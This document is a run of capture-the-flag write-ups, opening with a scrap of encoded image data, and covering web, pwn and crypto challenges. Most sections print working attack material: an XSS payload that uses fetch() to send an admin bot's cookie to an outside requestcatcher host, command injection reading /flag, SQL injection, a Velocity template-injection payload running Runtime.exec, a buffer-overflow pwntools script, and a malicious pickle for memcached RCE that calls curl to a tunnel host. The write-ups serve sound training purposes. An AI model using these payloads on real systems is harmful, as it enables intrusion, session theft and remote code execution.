drGc+dp1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y87kcvXJc4seML1WylJd3yvdyqaQQERER/RswGCciIiIiChCmqRARERERBQiDcSIiIiKiAGEwTkREREQUIAzGiYiIiIgChME4EREREVGAMBgnIiIiIgoQBuNERERERAHCYJyIiIiIKEAYjBMRERERBQiDcSIiIiKiAGEwTkREREQUIAzGiYiIiIgChME4EREREVGAMBgnIiIiIgoQBuNERERERAHCYJyIiIiIKEAYjBMRERERBQiDcSIiIiKiAGEwTkREREQUIAzGiYiIiIgChME4EREREVGAMBgnIiIiIgoQBuNERERERAHCYJyIiIiIKEAYjBMRERERBQiDcSIiIiKiAGEwTkREREQUIAzGiYiIiIgChME4EREREVGAMBgnIiIiIgqQoPPnDj0235Ny7PgF2bPnmISGPjLHEBEREdGzFBwcTYoVyyyZM6U0x/x3MBh3WLBwl7RsWUeSJUtmjiEiIiKiZ+ny5csyb94qada0hDnmv4NpKg5oEWcgTkRERPTXQez1X81KYDBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTj97SxbtkwmTZpkDhERERH9ezEYj6T3339f3nrrLY+vTZs2mVP55/r167Jnzx55+PChOYYi45dffpETJ06YQ+H+/PNPOXDggDlERERE9PfFYPwJlChRQrp27er2KlSokDmFf86fPy+LFy+WkJAQcwxFxrfffis//fSTORQOgfj69evNISIiIqK/LwbjTyBJkiTy/PPPu70SJUpkTkFEREREFLGg8+cOPTbfkzLvix3Ss2dHc8gd0lQqVKigX97cunVLhg4dKi1btpQdO3bI6dOnJXbs2FK0aFGpVKmSRIsWTX744QdZuHCh+ReG1q1bS758+fT727dvy+rVq+X333+XoKAgyZ07t9SsWVNixoypP9+3b59s3LhRGjVqJF9++aWcPXtW6tevL4ULF9afW44dOybbt2/XqRuYZ7JkyaRixYpSsGBBcwp3I0eO1MuJ5d6/f7/EihVLevfuHeG80Mr/66+/yrvvvquH4dy5czJhwgS97nXr1jXHip4PWrbfeecdv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zu888/8VkuEKwtWzZL9yaCAA6//HrggKoYLPxMypY1Hsh7//03dQ8yVas1kYKFKsqEiZ+rytRQKVGiiP48Mjp3ai0fjfhAFi1eKfXrt9HbEClLCxZM05VGQPoMeitBby7oyx29fHgzZ/YimTxlpjn0ZCJ6FsLJVxm37pJgmoEfvCWz5yySipXq63U9f+6CWs+pEjdueM63t+PWmR5z7OgfssTLz/SjEhPRfkb5xH4+efJPadvuVWnX7n9y7vwF3b0qKnyA7Y7uHx89eizNVDlo0LCdvluBHn+CorlfKq3uRhs1cn3Ak4gosoLOnzv019wLJXoG0FqJH6Y5dvSHsJZM+muhxRutougr3BlEBQrKRclSNeT3I0Z3jfT38m84blFZWr78S9mwfok5hojoybBlnIiIKJI2bNgsLVo0NIeIiJ4cg3EiIqJIOH36rH7upF4941eAiYieBoNxIiKiSFi6bI3+kR/njyQRET0J5owTEREREQUIW8aJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAEnT936LH5npSUoQnNd0RERET0V7oQfMN899/BlnEiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIf/THgT/6E0nTpokcP26879xZJFMm470nf/whMnWq8b5ePZHixY33UeHnn0UuXFDVS1W/rFjRHEku3nnH+LdoUZEGDYz3dnfviqxZI/LbbyK3bxvjnntO5KWXjPeeYLpdu4z3WbKIPP+88d5p8mSRkydFXnhBpG5dcyRRFDl2TGT6dON948YihQoZ7wNpwwaRb7813vfsKZIihfGe/t62bhW5f18kadKIy9H16yJbth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goxjEuSJEmFGMYlSZKkQgzjkiRJUiGGcUmSJKkQw7gkSZJUiGFckiRJKsQwLkmSJBViGJckSZIKMYxLkiRJRUT8Pz9ckUbJHEZ3AAAAAElFTkSuQmCC)
We are also given the source code for the challenge and the `main.js` file that serves up the web app is as follows:
```jsrequire('dotenv').config()
const childProcess = require('child_process');var jwt = require('jsonwebtoken');
const express = require("express")const path = require("path")const bodyParser = require("body-parser")var cookieParser = require('cookie-parser')
const app = express()
app.use(express.static(path.join(__dirname, 'public')))app.use(bodyParser.urlencoded({ extended: false }))app.use(cookieParser())
app.get("/", (req, res) => { res.sendFile(path.join(__dirname, "templates/index.html"))})
const genToken = () => { var token = jwt.sign({ id: 1 }, process.env.SECRET); return token}
app.post("/check", (req, res) => { try { let req_body = req.body.body if (req_body == undefined) { return res.status(200).send("Body is not provided") }
let to_req = `http://localhost:5001/resp?body=${encodeURIComponent(req_body)}`
childProcess.spawn('node', ['./bot.js', JSON.stringify({ url: to_req, token: genToken() })]);
return res.status(200).send("Admin will check!") } catch (e) { console.log(e) return res.status(500).send("Internal Server Error") }})
app.get("/flag", (req, res) => { let token = req.cookies.token try { var decoded = jwt.verify(token, process.env.SECRET) if (decoded.id != 2) { return res.status(200).send("You are not verified") }
return res.status(200).send(process.env.FLAG) } catch { return res.status(200).send("You are not verified") }})
app.listen("5000", () => { console.log("Server started")})```
We can use the JS function `fetch()` to make the browser fire a HTTP request and use string interpolation to have the host inject the cookie value into the URL. If we use this technique and <http://www.requestcatcher.com> we should be able to have the admin bot post it's token. Using that idea we can generate the following payload and then click the Check button.
```HTTP%2F1.1 200 OK%0D%0A%0D%0A<script>fetch(`https://asdasd.requestcatcher.com/${document.cookie}`)</script>```
The bot checks the link that was generated and we get a hit on the request catcher domain we created with a JWT in the URL
```httpGET /token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQ3MTU2fQ.XM_PJRCuVe5oI7zTXl93U_OMSg2ynpgrxoiAie1P33Y HTTP/1.1Host: asdasd.requestcatcher.comAccept: */*Accept-Encoding: gzip, deflate, brConnection: keep-aliveOrigin: http://localhost:5001Referer: http://localhost:5001/Sec-Ch-Ua: "HeadlessChrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.159 Safari/537.36```
If we decode the JWT using <https://jwt.io> we see the id property in the token body is `1`.
```json{ "id": 1, "iat": 1709947156}```
If we take a look at the `/flag` endpoint we can't simply a cookie with the token value that was leaked because `id` needs to be set to the value of two. We need to forge a new token with the Id but we don't know the secret. Luckily John The Ripper can be used to crack JWT secrets. Let's try using the rockyou worklist and see what comes up.
```bash┌──(kali㉿kali)-[~/Desktop]└─$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQ3MTU2fQ.XM_PJRCuVe5oI7zTXl93U_OMSg2ynpgrxoiAie1P33Y > jwt.txt
┌──(kali㉿kali)-[~/Desktop]└─$ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 Using default input encoding: UTF-8Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x])Will run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusbanana (?) 1g 0:00:00:00 DONE (2024-03-08 20:34) 25.00g/s 51200p/s 51200c/s 51200C/s 123456..lovers1Use the "--show" option to display all of the cracked passwords reliablySession completed. ```
We get a hit for the secret as `banana` so if we plug that into jwt.io and change `id` to 2 that should give us the following token.
`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTQ3MTU2fQ.DzB4_z4urhAv7ZO09l-LJVuUszHlxRiKJ8vZSspo_OE`
Now we set a cookie named `token` to the new token value and navigate to <https://learn-http.ctf.pearlctf.in/flag> and collect our prize:
FLAG: `pearl{c4nt_s3nd_th3_resP0n53_w1th0ut_Sani7iz1ng}` |
# TimeKORP
## Video Walkthrough
[![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=99 "HackTheBox Cyber Apocalypse '24: Time KORP (web)")
## Description
> TBD
## Solution
First things first; download the source and run the local docker instance for easy/fast debugging.
It's also a good idea to check the site functionality before reviewing the source code so that things fall into place more easily.
The site displays the time (`http://127.0.0.1:1337/?format=%H:%M:%S`) or date (`http://127.0.0.1:1337/?format=%Y-%m-%d`).
Opting for the lazy route, I check the burp scanner and find some interesting results. The first is XSS (reflected), presumably not much use as there was no admin bot to submit a URL to. The second is command injection!
Here's the URL-decoded [PoC](http://127.0.0.1:1337/?format=%25H%3a%25M%3a%25S%7cecho%20kefbjki4ag%20d6tyxfigki%7c%7ca%20%23'%20%7cecho%20kefbjki4ag%20d6tyxfigki%7c%7ca%20%23%7c%22%20%7cecho%20kefbjki4ag%20d6tyxfigki%7c%7ca%20%23) from burp:
```/?format=%H:%M:%S|echo kefbjki4ag d6tyxfigki||a #' |echo kefbjki4ag d6tyxfigki||a #|" |echo kefbjki4ag d6tyxfigki||a #```
The result indicates that the `echo kefbjki4ag d6tyxfigki` command did indeed execute.
```html kefbjki4ag d6tyxfigki<span>.</span>```
The payload syntax/length is a little confusing so I keep removing elements and re-testing to ensure the command still executes. The attack can be simplified to:
```/?format=%H:%M:%S' |ls #```
If we [URL-encode it](http://127.0.0.1:1337/?format=%25H%3a%25M%3a%25S'+|ls+%23) it lists the `views` directory. If we look around for a while we might not see the flag. Let's just check the source code and see the Dockerfile has the following line.
```dockerfile# Copy flagCOPY flag /flag```
Therefore, we can print the flag with [this payload](http://127.0.0.1:1337/?format=%25H%3a%25M%3a%25S'+|cat+/flag+%23) to retrieve the flag.
```/?format=%H:%M:%S' |cat /flag #```
We've already solved the challenge but why not review the vulnerable source code. Notice `TimeController.php` processes our vulnerable GET parameter (`format`).
```phpview('index', ['time' => $time->getTime()]); }}```
It passes our user input (bad) to the `TimeModel.php` constructor which then executes the command.
```phpcommand = "date '+" . $format . "' 2>&1;; }
public function getTime() { $time = exec($this->command); $res = isset($time) ? $time : '?'; return $res; }}```
So, assuming we submit `format=%H:%M:%S' |cat /flag #`, the `command` property of the object will be:
```bashdate '%H:%M:%S'' |cat /flag # 2>&1```
Due to us closing off the string and inserting a pipe character, we were able to inject a malicious command! Crucially, we also needed to add a hash character afterwards, to prevent the output from being redirected.
Flag: `HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}` |
# funnylogin
![](https://raw.githubusercontent.com/rbih-boulanouar/DiceCTF-2024-Quals/main/web/funnylogin/funnyweb.jpeg)
in this challenge we have a simple login page. and this source file.
```javascriptconst express = require('express');const crypto = require('crypto');
const app = express();
const db = require('better-sqlite3')('db.sqlite3');db.exec(`DROP TABLE IF EXISTS users;`);db.exec(`CREATE TABLE users( id INTEGER PRIMARY KEY, username TEXT, password TEXT);`);
const FLAG = process.env.FLAG || "dice{test_flag}";const PORT = process.env.PORT || 3000;
const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);
const isAdmin = {};const newAdmin = users[Math.floor(Math.random() * users.length)];isAdmin[newAdmin.user] = true;
app.use(express.urlencoded({ extended: false }));app.use(express.static("public"));
app.post("/api/login", (req, res) => { const { user, pass } = req.body;
const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`; try { const id = db.prepare(query).get()?.id; if (!id) { return res.redirect("/?message=Incorrect username or password"); }
if (users[id] && isAdmin[user]) { return res.redirect("/?flag=" + encodeURIComponent(FLAG)); } return res.redirect("/?message=This system is currently only available to admins..."); } catch { return res.redirect("/?message=Nice try..."); }});
app.listen(PORT, () => console.log(`web/funnylogin listening on port ${PORT}`));```
let's break it down
1-create table called users with id, username and password attributes
```javascriptdb.exec(`CREATE TABLE users( id INTEGER PRIMARY KEY, username TEXT, password TEXT);`);```
2-insert random 100000 user.```javascriptconst users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);```
3-set a random user as an admin
```javascriptconst isAdmin = {};const newAdmin = users[Math.floor(Math.random() * users.length)];isAdmin[newAdmin.user] = true;```
4-get the username and password from the input, check the if the user id exists and if `isAdmin[user]==true` if both conditions are true redirect to the flag.
```javascriptapp.post("/api/login", (req, res) => { const { user, pass } = req.body;
const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`; try { const id = db.prepare(query).get()?.id; if (!id) { return res.redirect("/?message=Incorrect username or password"); }
if (users[id] && isAdmin[user]) { return res.redirect("/?flag=" + encodeURIComponent(FLAG)); } return res.redirect("/?message=This system is currently only available to admins..."); } catch { return res.redirect("/?message=Nice try..."); }});```
first thing to notice is that there is no input control or sanitization before making sql query.
so we can inject sql query but the problem we don't know what user has isAdmin true because its random.
now the second trick comes into play. in JavaScript each Object has an attribute called `prototype`. you can read more [here](https://portswigger.net/web-security/prototype-pollution)
![](https://rbih-boulanouar.github.io/DiceCTF-2024-Quals/web/funnylogin/Capture.PNG)
so if we set the username to `__prototype__` we will have `isAdmin[__prototype__]=true` and we can use SQL injection to bypass the password check.
now let's try it
`username: __prototype__``password: 1' or id=1; --`
and we got the flag:
![](https://rbih-boulanouar.github.io/DiceCTF-2024-Quals/web/funnylogin/flag.jpeg) |
Truncated lcg with low bits known, which can be reduced to a hidden number problem, and finally solved by LLL.```py#! /usr/bin/sagefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadp = 4420073644184861649599a = 1144993629389611207194b = 3504184699413397958941out = [39, 47, 95, 1, 77, 89, 77, 70, 99, 23, 44, 38, 87, 34, 99, 42, 10, 67, 24, 3, 2, 80, 26, 87, 91, 86, 1, 71, 59, 97, 69, 31, 17, 91, 73, 78, 43, 18, 15, 46, 22, 68, 98, 60, 98, 17, 53, 13, 6, 13, 19, 50, 73, 44, 7, 44, 3, 5, 80, 26, 10, 55, 27, 47, 72, 80, 53, 2, 40, 64, 55, 6]cipher = bytes.fromhex('34daaa9f7773d7ea4d5f96ef3dab1bbf5584ecec9f0542bbee0c92130721d925f40b175e50587196874e14332460257b')l = outdef lcg(s, a, b, p): return (a * s + b) % pdef get_roll(): global seed seed = lcg(seed, a, b, p) return seed % 100n = len(out)A = [[0 for _ in range(n+1)] for _ in range(n+1)] inv100 = pow(100,-1,p)for i in range(n-1): A[i][i] = p A[n-1][i] = a**(i+1)%p A[n][i] = (a*l[0]+b-l[1])*inv100%p if i==0 else (a*A[n][i-1] + (a*l[i]+b-l[i+1])*inv100)%pA[n-1][n-1] = 1A[n][n] = p//100A = Matrix(A)B = A.LLL()h0 = B[0][-2]s0 = h0*100+l[0]seed = s0assert([l[0]]+[get_roll() for _ in range(71)] == l)key = bytes([get_roll() for _ in range(16)])iv = bytes([get_roll() for _ in range(16)])aes = AES.new(key, AES.MODE_CBC, iv)print(unpad(aes.decrypt(cipher),16).decode())
# osu{w0uld_y0u_l1k3_f1r5t_0r_53c0nd_p1ck}``` |
# TLDR
RSA attack, then a blob Base64 encode img for web to get flag
# Thought
We have a really small e, I don't remember it clearly anyway, so google some thing like rsa small e attack which give you a page about:
"Multi-party RSA with Small e: Assuming e is constant between the messages and the message m is sent to at least e people, we can use the Chinese Remainder Theorem to retrieve".
It basically that we can calculate m^e mod n1*n2*n3 (as e is small, which make m^e < n1*n2*n3 mean m^e = m^e mod n1*n2*n3). And then calculate cube_root(m^e) to get m . You could even try to cube_root(c1 + i*n1) and maybe m^e is small enough that it close to n1. But that not the case tho.
Atfer attack Multi-party RSA with Small e using Chinese Remainder Theorem result with this text
```pythonb'This is your destination: "https://pastes.io/1yjswxlvl2"\n'```
and we have
```txtYou think this is Gibbrish, but it's something different.../9j/4AAQSkZJRgABAQAA...AooooAKKKKAP/Z```
I think it is a image so i create a simple element then paste it into the website
```html```
The flag is in the image `pearl{g00d_j0b_bu7_7h15_15_4_b4by_0n3}`
# Code
```python#!/usr/bin/env python3
import libnumfrom Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
e = 3
n1 = 125267411676839013904356880992044234494446196964982422223130579882047339346910691451497681975351838034684254305738613386927222900898672184001345811471784343779083336010063097729870079645284178978512325038316112509718505547104307526489798594871208559607331790920412305711830820739308995357441030646151241475357c1 = 53377681151597930200174280269480737905892580547675095951568028531545776989476273786562435486230550919422086944133253611872983670236114054374565938184593173194919064517779661178744278071496565181181705071524501841159717567250259220092464925447795412484629687708208662079791459184303259833667333882817260906165
n2 = 101985110329687359982214188967281711679876126442294375297547334583432698756724057183438691227371260175904715854057793173086301783390154807726779286131084537704721881438398569476214173211311977143694032174701007005033830070482491565424683664984059187439768982994371382763048098663670188786016786612348042190633c2 = 86370003324603283962938004647941072863866893771153362222202759619566185050496089684606274416415418388916028237984708280964054009059814813483639010674182298294505525549842057730933691736372086557397211586739691237738757897947336698446258197604918828646265244195686107866422922575275382813594250335044143485624
n3 = 83259448903366278561128205003734328779222118906091604625605804813528274055482582431201682767294594942491788720967344243567819654813240542076250030802111361571504667752481579915864184180358691091092122509649590043074189547962292835856503625214027405901620103615424259796442446412031011575671410630232956892267c3 = 25601241268900087228853235319569275926328919786631787991019848828558430219449358810095537362492238844266084660904521793373698736119824512458196492049138821633273765102576368573691391116632126183996786969554104441242376959688329346567745607825277943462236901478944551669406261301309719409165457168678763092118
# ============= Small e attack
for i in range(10): val = libnum.nroot(c1 + i*n1, 3) print(long_to_bytes(val)) val = libnum.nroot(c2 + i*n2, 3) print(long_to_bytes(val)) val = libnum.nroot(c3 + i*n3, 3) print(long_to_bytes(val))
# ================ Multi-party RSA with Small e
N = [n1, n2, n3]C = [c1, c2, c3]
res = libnum.solve_crt(C, N)val = libnum.nroot(res, 3)print(long_to_bytes(val))```
|
# Labyrinth Linguist
## Video Walkthrough
[![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=586 "HackTheBox Cyber Apocalypse '24: Labyrinth Linguist (web)")
## Description
> You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.
## Solution
We can review source code but first let's check the site functionality. It's basic, we have a form field and a submit button and it says `Enter text to translate english to voxalith!`.
If we enter some text, it will send our data in a POST request, e.g. `text=hi` and display our text in a "fire" text font.
```html<h2 class="fire">hi</h2>```
The burp scanner detects several vulns, including `SSTI`, `XSS` and `Client-side desync`.
The XSS checks out, we can easily pop an alert but what is a vulnerability without impact? Let's stop wasting time with self-XSS and review the SSTI.
The advisory notes that the template engine appears to be `Velocity`. Here's the URL-decoded payload, which prints `v0oot695019a4423` to the screen.
```java#set ($a=923*753) v0oot${a}a4423```
Burp always complicates PoC's for some reason, here's a better visualisation.
```java#set ($hack=420*23) ${hack}```
When URL-encoded, it prints `9660`. So, we have confirmed the presence of server-side template injection. Next, we want to find some payloads that do more than basic mathematical calculations.
- [Portswigger SSTI research](https://portswigger.net/research/server-side-template-injection)- [HackTricks Velocity SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#velocity-java)- [PayloadsAllTheThings Velocity SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#java---velocity)- [Velocity SSTI blogpost](https://antgarsil.github.io/posts/velocity)- [Velocity user guide](https://velocity.apache.org/engine/1.7/user-guide.html)
None of the payloads I could find would work. I Tried `text=%23include("flag.txt")` and various directory traversals but it always always returned a 500 error; `unable to find resource`.
Eventually, I found a payload in a [gosecure SSTI workshop](https://gosecure.github.io/template-injection-workshop/#6) that worked.
```java#set($x='')###set($rt=$x.class.forName('java.lang.Runtime'))###set($chr=$x.class.forName('java.lang.Character'))###set($str=$x.class.forName('java.lang.String'))###set($ex=$rt.getRuntime().exec('ls ../'))##$ex.waitFor()#set($out=$ex.getInputStream())###foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end```
It was quite similar to the payloads in the resources listed earlier. The main difference is we didn't access the `$class` variable directly (instead accessing via a string).
Anyway, we URL-encode the payload list out the files in the directory. One is named `flag3b28509596.txt` so we can just update the payload to `cat` the flag.
Again, we solved the challenge without requiring access to server-side source code. Personally, I think this is a valuable exercise, especially if you want to improve your bug bounty skills since source code is typically unavailable. Actually, I did download the code and check it very quickly towards the beginning, e.g. it's nice to know there's a `flag.txt` that will be in the root directory.
```bashmv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt```
I didn't study the source code though. If I did, I would of discovered the `Main.java` file imports `velocity` and inserts our unsanitised user input (`textString`) into the webpage, resulting in SSTI.
```javatemplate = readFileToString("/app/src/main/resources/templates/index.html", textString);```
```javaStringReader reader = new StringReader(template);org.apache.velocity.Template t = new org.apache.velocity.Template();```
```javat.setData(runtimeServices.parse(reader, "home"));t.initDocument();VelocityContext context = new VelocityContext();context.put("name", "World");StringWriter writer = new StringWriter();t.merge(context, writer);template = writer.toString();```
Flag: `HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}` |
tl;dr
+ Capturing the flag id through redos attack in /search endpoint+ XSS in /uuid/noteid/raw and HTML injection in /uuid/noteid+ CSP frame-src bypass through server side redirect |
# Main idea
It is pwn task where we need to send payload that performs buffer overflow attack. We have binary elf file that we can reverse.# Solution
To reverse the program i used Ghidra.From decompiled main function we can see:
![](../../attachments/Pasted%20image%2020240115141509.png)
It creates buffer 64 bytes long. And waits our input using `gets()` function. It is usual function for pwn tasks, it is vulnarable for buffer overflow. It means that the function doesnt check the length of the input and overwrites the memory if input more than 64 bytes.
Additionally we can see `shell` function, it is not called in program:
![](../../attachments/Pasted%20image%2020240115141904.png)
But, with buffer overflow we can call it.
Firstly, we need to know what is address of the `shell` function. We can do this with command:
```shreadelf -s basic-overflow ```
And we can see the offset(address) of the functions:
![](../../attachments/Pasted%20image%2020240115142101.png)
The `shell`'s adress is `0000000000401136` and now we can write payload that overwrites the memory and calls shell function.
Our first payload:
```shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0000000000401136```
If you try this, buffer would indeed overwrited but the function will not called, because of scepific address handling in stack. We should rewrite address to little endian format:
`\x36\x11\x40\x00\x00\x00\x00\x00`
And if you try to inject payload with memory like above, it will fail because it will not represent like bytes. So use python's pwn library.
```pythonimport pwn
r = pwn.remote('34.123.15.202', 5000)# r = pwn.process('./basic-overflow')
# b"A" * (64 + 8) + b"\x00" * 4 + b"\x36\x11\x40"r.sendline(b"A" * (64 + 8) + b"\x36\x11\x40\x00\x00\x00\x00\x00")r.sendline(b"cat flag")res = r.recvline()
print(res)```
And boom, get the flag
![](../../attachments/Pasted%20image%2020240115142819.png) |
# TSG CTF 2023 - pwn/converter
This solution is for both "converter" and "converter2".
## Solution
The bug is lack of return value checking in the code that converts a UTF-32 character to UTF-8:
```main.c:58 utf8_ptr += c32rtomb(utf8_ptr, wc, &ps);```
`c32rtomb` fails if an illegal UTF-32 character is given.On failure, -1 is returned and added to `utf8_ptr`. This bug can be exploited to make `utf8_ptr` point into `utf32_hexstr[2]` and make `utf32_hexstr[2]` a longer string than expected. If you write a hex string that represents a valid UTF-32 character in this way, the conversion result will overflow `utf8_bin`.
```main.c:8char utf32_hexstr[3][MAX_FLAG_CHARS * 8 + 1];char utf8_bin[MAX_FLAG_CHARS * 4 + 1];```
If the null terminator at the end of `utf8_bin` is overwritten, the following code will show the trailing bytes that includes the flag.
```main.c:71 printf("Your input: %s\n", utf8_bin);```
## Exploit
```pythonm = [f"{ord(c):0>8x}" for c in "?".encode("utf-32be").hex()]sc.after("Q1").send("ffffffff" * 22 + "".join(m) + "\n")sc.after("Q2").send("\n")sc.after("Q3").send("0001f680" * 31)```
## Flag
```TSGCTF{NoEmojiHereThough:cry:}```
|
# SerialFlow
## Video Walkthrough
[![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=1530 "HackTheBox Cyber Apocalypse '24: Serial Flow (web)")
## Description
> SerialFlow is the main global network used by KORP, you have managed to reach a root server web interface by traversing KORP's external proxy network. Can you break into the root server and open pandoras box by revealing the truth behind KORP?
## Source
We can download the source code and see most of the app's functionality is in `app.py`.
```pythonimport pylibmc, uuid, sysfrom flask import Flask, session, request, redirect, render_templatefrom flask_session import Session
app = Flask(__name__)
app.secret_key = uuid.uuid4()
app.config["SESSION_TYPE"] = "memcached"app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])app.config.from_object(__name__)
Session(app)
@app.before_requestdef before_request(): if session.get("session") and len(session["session"]) > 86: session["session"] = session["session"][:86]
@app.errorhandler(Exception)def handle_error(error): message = error.description if hasattr(error, "description") else [str(x) for x in error.args]
response = { "error": { "type": error.__class__.__name__, "message": message } }
return response, error.code if hasattr(error, "code") else 500
@app.route("/set")def set(): uicolor = request.args.get("uicolor")
if uicolor: session["uicolor"] = uicolor
return redirect("/")
@app.route("/")def main(): uicolor = session.get("uicolor", "#f1f1f1") return render_template("index.html", uicolor=uicolor)```
## Solution
Once again, the goal is clearly RCE since we have a `flag.txt` file at `/flag` with a randomised name.
I wasted a lot of time on rabbit holes and realise in hindsight, I should of investigated the `memcached` session stuff as it stands out as unusual.
A quick Google search of `memcached python vuln` returns some [general pentesting techniques](https://book.hacktricks.xyz/network-services-pentesting/11211-memcache) but also an interesting [PoC video](https://www.youtube.com/watch?v=aNqXNdFf28w) titled `Remote Code Execution (RCE) in Python pylibmc through memcached injection`. However, the exploit was demonstrated 10 years ago at [BlackHat 2014](https://www.youtube.com/watch?v=K4OWPdMLi64) so it's unlikely to be applicable, right?
Well, if we adjust our search options to "in the past year" one of the top results is the [Top 10 web hacking techniques](https://portswigger.net/research/top-10-web-hacking-techniques-of-2023-nominations-open) from Portswigger. Guess which vulnerability is featured there?
That's right! [Exploiting Flask-Session with Memcached command injection utilizing crc32 collision and python pickle deserialization for RCE](https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc) by D4D.
The article explains the exploit better than I can but essentially, we can leverage the `/set` route to set the Flask session cookie value for the key `uicolor`. Memcached terminates commands and data sequences using CRLF so we want to inject `\r\n` using quoted strings (`\015\012`).
Next, we want to encode a payload. Since [python pickle](https://docs.python.org/3/library/pickle.html) is used to deserialise data before saving to Memcached, we can [construct a malicious pickle](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that when deserialised, will trigger RCE.
Let's jump straight into testing the PoC! The only thing I changed is the command to `curl` (we want to verify the command executes) and the cache key/name to `420`.
```pythonimport pickleimport os
class RCE: def __reduce__(self): cmd = ('curl https://cat.tunnelto.dev') return os.system, (cmd,)
def generate_exploit(): payload = pickle.dumps(RCE(), 0) payload_size = len(payload) cookie = b'137\r\nset BT_:420 0 2592000 ' cookie += str.encode(str(payload_size)) cookie += str.encode('\r\n') cookie += payload cookie += str.encode('\r\n') cookie += str.encode('get BT_:420')
pack = '' for x in list(cookie): if x > 64: pack += oct(x).replace("0o", "\\") elif x < 8: pack += oct(x).replace("0o", "\\00") else: pack += oct(x).replace("0o", "\\0")
return f"\"{pack}\""
print(generate_exploit())```
We generate the payload, then simply replace our cookie value and make a call to the `/set` endpoint.
```bash"\061\063\067\015\012\163\145\164\040\102\124\137\072\064\062\060\040\060\040\062\065\071\062\060\060\060\040\066\061\015\012\143\160\157\163\151\170\012\163\171\163\164\145\155\012\160\060\012\050\126\143\165\162\154\040\150\164\164\160\163\072\057\057\143\141\164\056\164\165\156\156\145\154\164\157\056\144\145\166\012\160\061\012\164\160\062\012\122\160\063\012\056\015\012\147\145\164\040\102\124\137\072\064\062\060"```
I struggled for a while here, until I realised that `curl` is not installed on the machine lol. If we change the command to `whoami` and test locally, we'll see `root` pop up in the logs.
Furthermore, if we update the command to `cat /flag*.txt`, the flag will be printed in the server terminal! The problem is, we can't see the output on the remote instance.
I tried to get a reverse shell, but it never made the connection (although I heard later others did have success with this). Ultimately, I ended up changing the `cmd` to `cp /flag*.txt application/templates/index.html`.
